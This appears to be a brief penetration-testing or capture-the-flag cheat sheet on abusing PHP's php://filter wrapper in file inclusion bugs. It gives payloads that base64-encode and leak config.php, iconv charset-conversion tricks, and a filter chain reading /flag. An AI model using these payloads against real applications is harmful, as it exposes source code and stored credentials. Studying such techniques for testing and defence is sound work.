PHP Filters

PHP Filters

# Base64
?inc=php://filter/read=convert.base64-encode/resource=config.php
# iconv conversion filter can be used (https://gynvael.coldwind.pl/?lang=en&id=671)
# allows you to use iconv to convert all processed data from charset A to charset B
# where both character sets can be chosen from a surprisingly long list of supported encodings
iconv -l

# Example
<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text

# Then you can use it to change the charset of your payload
php://filter/convert.iconv.CHARSET1%2fCHARSET2/resource=/flag

# Recovering process
<?php
$d = file_get_contents(
 "php://filter/convert.iconv.UTF-32BE%2fIBM1154/resource=".
 "data:image/png;base64,AAAEWAAAACsAAARbAAAAIwAABFsAAAA/AA".
 "AAKAAAAC8AAAA+AAAAYAAABCoAAAQFAAAEAwAABAYAAAAlAAAALwAABD".
 "AAAACtAAAEUwAAAC8AAAA+AAAEDgAABAMAAAQFAAAEBwAAAD8AAAA/AA".
 "AEBAAABAYAAAA/AAAEDAAAAGAAAAA/AAAEDwAAACcAAACO");
echo $d;